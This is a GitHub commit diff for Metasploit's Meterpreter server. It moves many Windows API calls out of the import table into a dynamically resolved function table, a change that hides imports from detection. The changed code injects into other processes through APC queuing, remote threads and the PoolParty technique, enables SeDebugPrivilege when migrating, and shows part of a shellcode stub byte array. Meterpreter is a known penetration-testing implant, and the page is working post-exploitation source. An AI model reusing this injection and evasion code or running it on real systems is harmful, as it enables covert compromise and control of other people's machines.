Skip to content

Commit 1ba3b59

Browse files
dledda-r7dledda-r7
committed
feat(metsrv): removing some imports from IAT, improving GetProcAddressH
1 parent 298e84a commit 1ba3b59

23 files changed

Lines changed: 1374 additions & 606 deletions

‎c/meterpreter/source/common/common_winapi.h‎

Lines changed: 65 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#ifndef _METERPRETER_COMMON_WINAPI_H
22
#define _METERPRETER_COMMON_WINAPI_H
33
#include <winsock2.h> // For SOCKET, WSADATA, sockaddr, WSAPROTOCOL_INFOA
4+
#include <ws2tcpip.h> // For ADDRINFOA / PADDRINFOA
45
#include <windows.h>
56
#if !defined(__WINE_WINHTTP_H) && !defined(_WINHTTPX_)
67
#include <wininet.h>
@@ -48,9 +49,22 @@ typedef struct _WinApiNtdll {
4849
NTSTATUS (*ZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
4950
NTSTATUS (*ZwQueryVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength);
5051
NTSTATUS (*ZwFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
51-
NTSTATUS (*NtQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2);
52-
NTSTATUS (*NtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId);
52+
NTSTATUS (*ZwQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2);
53+
NTSTATUS (*ZwOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId);
5354
NTSTATUS (*RtlGetVersion)(PRTL_OSVERSIONINFOEXW os);
55+
NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
56+
NTSTATUS (*ZwQueryObject)(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
57+
NTSTATUS (*ZwQueryInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength);
58+
NTSTATUS (*ZwSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength);
59+
NTSTATUS (*ZwSetIoCompletion)(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation);
60+
NTSTATUS (*RtlCreateUserThread)(HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId);
61+
NTSTATUS (*ZwMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
62+
NTSTATUS (*ZwCreateSection)(PHANDLE SectionHandle, ULONG DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
63+
NTSTATUS (*ZwOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes);
64+
NTSTATUS (*ZwOpenFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, PVOID IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);
65+
NTSTATUS (*ZwQueryAttributesFile)(OBJECT_ATTRIBUTES* ObjectAttributes, PVOID FileInformation);
66+
NTSTATUS (*ZwClose)(HANDLE Handle);
67+
NTSTATUS (*ZwLockVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG RegionSize, ULONG MapType);
5468
} WinApiNtdll;
5569

5670
// kernel32.dll
@@ -90,6 +104,32 @@ typedef struct _WinApiKernel32 {
90104
HANDLE (*CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
91105
BOOL (*ResetEvent)(HANDLE hEvent);
92106
BOOL (*SetThreadErrorMode)(DWORD dwNewMode, LPDWORD lpOldMode);
107+
HMODULE (*GetModuleHandleA)(LPCSTR lpModuleName);
108+
HANDLE (*CreateFileW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
109+
HANDLE (*CreateNamedPipeW)(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
110+
HANDLE (*CreateEventA)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
111+
HANDLE (*CreateEventW)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName);
112+
BOOL (*SetEvent)(HANDLE hEvent);
113+
DWORD (*WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
114+
VOID (*Sleep)(DWORD dwMilliseconds);
115+
HANDLE (*GetProcessHeap)(VOID);
116+
LPVOID (*HeapAlloc)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
117+
BOOL (*HeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
118+
BOOL (*IsWow64Process)(HANDLE hProcess, PBOOL Wow64Process);
119+
BOOL (*ProcessIdToSessionId)(DWORD dwProcessId, DWORD* pSessionId);
120+
LPVOID (*HeapReAlloc)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
121+
HLOCAL (*LocalAlloc)(UINT uFlags, SIZE_T uBytes);
122+
VOID (*GetSystemTime)(LPSYSTEMTIME lpSystemTime);
123+
BOOL (*SystemTimeToFileTime)(const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime);
124+
int (*MultiByteToWideChar)(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
125+
int (*WideCharToMultiByte)(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);
126+
BOOL (*PeekNamedPipe)(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);
127+
BOOL (*SetNamedPipeHandleState)(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout);
128+
BOOL (*ReleaseMutex)(HANDLE hMutex);
129+
HANDLE (*CreateMutexA)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName);
130+
HANDLE (*CreateMutexW)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName);
131+
BOOL (*TerminateThread)(HANDLE hThread, DWORD dwExitCode);
132+
int (*lstrcmpW)(LPCWSTR lpString1, LPCWSTR lpString2);
93133
} WinApiKernel32;
94134

95135
// advapi32.dll
@@ -113,19 +153,25 @@ typedef struct _WinApiAdvApi32 {
113153
BOOL (*SetSecurityDescriptorDacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted);
114154
BOOL (*SetSecurityDescriptorSacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted);
115155
BOOL (*LookupPrivilegeValueW)(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);
156+
BOOL (*CryptAcquireContextA)(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags);
157+
BOOL (*CryptAcquireContextW)(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags);
158+
BOOL (*AddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid);
116159
} WinApiAdvApi32;
117160

118161
// crypt32.dll
119162
typedef struct _WinApiCrypt32 {
120163
BOOL (*CryptDecodeObjectEx)(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo);
121164
BOOL (*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey);
122165
BOOL (*CertGetCertificateContextProperty)(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData);
166+
BOOL (*CryptBinaryToStringA)(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString);
167+
BOOL (*CryptStringToBinaryA)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags);
123168
} WinApiCrypt32;
124169

125170
// user32.dll
126171
typedef struct _WinApiUser32 {
127172
BOOL (*GetUserObjectInformationA)(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded);
128173
HDESK (*GetThreadDesktop)(DWORD dwThreadId);
174+
HWINSTA (*GetProcessWindowStation)(VOID);
129175
} WinApiUser32;
130176

131177
// ws2_32.dll
@@ -137,6 +183,20 @@ typedef struct _WinApiWs2_32 {
137183
int (*setsockopt)(SOCKET s, int level, int optname, const char* optval, int optlen);
138184
int (*recv)(SOCKET s, char* buf, int len, int flags);
139185
int (*WSADuplicateSocketA)(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo);
186+
int (*send)(SOCKET s, const char* buf, int len, int flags);
187+
int (*bind)(SOCKET s, const struct sockaddr* name, int namelen);
188+
int (*listen)(SOCKET s, int backlog);
189+
int (*closesocket)(SOCKET s);
190+
int (*select)(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout);
191+
struct hostent* (*gethostbyname)(const char* name);
192+
int (*getaddrinfo)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult);
193+
VOID (*freeaddrinfo)(PADDRINFOA pAddrInfo);
194+
u_short (*htons)(u_short hostshort);
195+
u_long (*htonl)(u_long hostlong);
196+
u_long (*ntohl)(u_long netlong);
197+
unsigned long (*inet_addr)(const char* cp);
198+
int (*WSAGetLastError)(VOID);
199+
char* (*inet_ntoa)(struct in_addr in);
140200
} WinApiWs2_32;
141201

142202
// wininet.dll
@@ -150,6 +210,7 @@ typedef struct _WinApiWinInet {
150210
BOOL (*InternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
151211
BOOL (*InternetCloseHandle)(HINTERNET hInternet);
152212
BOOL (*InternetCrackUrlW)(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents);
213+
BOOL (*HttpQueryInfoA)(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex);
153214
} WinApiWinInet;
154215

155216
// rpcrt4.dll
@@ -171,6 +232,8 @@ typedef struct _WinApiWinHttp {
171232
BOOL (*WinHttpReadData)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
172233
BOOL (*WinHttpQueryOption)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength);
173234
BOOL (*WinHttpCrackUrl)(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents);
235+
BOOL (*WinHttpCloseHandle)(HINTERNET hInternet);
236+
BOOL (*WinHttpWriteData)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten);
174237
} WinApiWinHttp;
175238

176239
// Top-level container for all dynamically resolved APIs.

‎c/meterpreter/source/metsrv/base.c‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -295,7 +295,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet)
295295
// Impersonate the thread token if needed (only on Windows)
296296
if (remote->server_token != remote->thread_token)
297297
{
298-
if (!ImpersonateLoggedOnUser(remote->thread_token))
298+
if (!met_api->win_api.advapi32.ImpersonateLoggedOnUser(remote->thread_token))
299299
{
300300
dprintf("[COMMAND] Failed to impersonate thread token (%u) (%u)", commandId, GetLastError());
301301
}

‎c/meterpreter/source/metsrv/base_dispatch.c‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -426,16 +426,16 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
426426

427427
bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);
428428

429-
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
429+
if (met_api->win_api.advapi32.OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
430430
{
431431
TOKEN_PRIVILEGES priv = { 0 };
432432

433433
priv.PrivilegeCount = 1;
434434
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
435435

436-
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
436+
if (met_api->win_api.advapi32.LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &priv.Privileges[0].Luid))
437437
{
438-
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
438+
if (met_api->win_api.advapi32.AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
439439
{
440440
dprintf("[MIGRATE] Got SeDebugPrivilege!");
441441
}
@@ -476,7 +476,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
476476

477477
// Create a notification event that we'll use to know when it's safe to exit
478478
// (once the socket has been referenced in the other process)
479-
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
479+
hEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL);
480480
if (!hEvent)
481481
{
482482
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");

‎c/meterpreter/source/metsrv/base_inject.c‎

Lines changed: 9 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -119,8 +119,6 @@ BYTE poolparty_stub_x86[] = {0x55,0x53,0x57,0x56,0x89,0xe6,0xfc,0xe9,0xbd,0x00,0
119119
DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
120120
{
121121
DWORD dwResult = ERROR_ACCESS_DENIED;
122-
HMODULE hNtdll = NULL;
123-
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
124122
HANDLE hThreadSnap = NULL;
125123
LPVOID lpApcStub = NULL;
126124
LPVOID lpRemoteApcStub = NULL;
@@ -247,14 +245,6 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
247245
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
248246
}
249247

250-
hNtdll = met_api->win_api.kernel32.LoadLibraryA( "ntdll" );
251-
if( !hNtdll )
252-
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
253-
254-
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
255-
if( !pNtQueueApcThread )
256-
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
257-
258248
hThreadSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
259249
if( !hThreadSnap )
260250
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
@@ -304,14 +294,14 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
304294
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
305295
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
306296
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
307-
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
297+
if( met_api->win_api.ntdll.ZwQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
308298
{
309-
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
299+
dprintf("[INJECT] inject_via_apcthread: ZwQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
310300
dwResult = ERROR_SUCCESS;
311301
}
312302
else
313303
{
314-
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
304+
dprintf("[INJECT] inject_via_apcthread: ZwQueueApcThread for thread %d Failed.", t.th32ThreadID );
315305
}
316306
}
317307
else
@@ -335,7 +325,7 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
335325
packet_transmit_response( ERROR_SUCCESS, remote, response );
336326

337327
// Sleep to give the remote side a chance to catch up...
338-
Sleep( 2000 );
328+
met_api->win_api.kernel32.Sleep( 2000 );
339329
}
340330

341331
if( thread_list )
@@ -357,9 +347,6 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
357347
if( hThreadSnap )
358348
met_api->win_api.kernel32.CloseHandle( hThreadSnap );
359349

360-
if( hNtdll )
361-
met_api->win_api.kernel32.FreeLibrary( hNtdll );
362-
363350
SetLastError( dwResult );
364351

365352
return dwResult;
@@ -495,7 +482,7 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces
495482

496483
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
497484
// Sleep to give the remote side a chance to catch up...
498-
Sleep(2000);
485+
met_api->win_api.kernel32.Sleep(2000);
499486
}
500487

501488
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
@@ -530,7 +517,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
530517

531518
LPVOID lpStub = NULL;
532519
DWORD dwStubSize = 0;
533-
HANDLE hHeap = GetProcessHeap();
520+
HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap();
534521

535522

536523
if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) {
@@ -560,7 +547,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
560547
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_INVALID_FUNCTION);
561548
}
562549

563-
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
550+
hTriggerEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL);
564551
if (!hTriggerEvent)
565552
{
566553
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed");
@@ -617,10 +604,10 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
617604

618605
dprintf("[INJECT] inject_via_poolparty: Sleeping for two seconds...");
619606
// Sleep to give the remote side a chance to catch up...
620-
Sleep(2000);
607+
met_api->win_api.kernel32.Sleep(2000);
621608

622609
}
623-
SetEvent(hTriggerEvent);
610+
met_api->win_api.kernel32.SetEvent(hTriggerEvent);
624611
SetLastError(dwResult);
625612
met_api->win_api.kernel32.CloseHandle(hTriggerEvent);
626613

‎c/meterpreter/source/metsrv/channel.c‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -274,7 +274,7 @@ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk,
274274
break;
275275
}
276276

277-
idNbo = htonl(channel_get_id(channel));
277+
idNbo = met_api->win_api.ws2_32.htonl(channel_get_id(channel));
278278

279279
entries[0].header.type = TLV_TYPE_CHANNEL_ID;
280280
entries[0].header.length = sizeof(DWORD);
@@ -436,7 +436,7 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
436436
// Get the number of bytes written to the channel
437437
if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) == ERROR_SUCCESS) && (lengthTlv.header.length >= sizeof(DWORD)))
438438
{
439-
length = ntohl(*(LPDWORD)lengthTlv.buffer);
439+
length = met_api->win_api.ws2_32.ntohl(*(LPDWORD)lengthTlv.buffer);
440440
}
441441

442442
res = comp->routine.write(remote, channel, comp->context, result, length);

0 commit comments

Comments
 (0)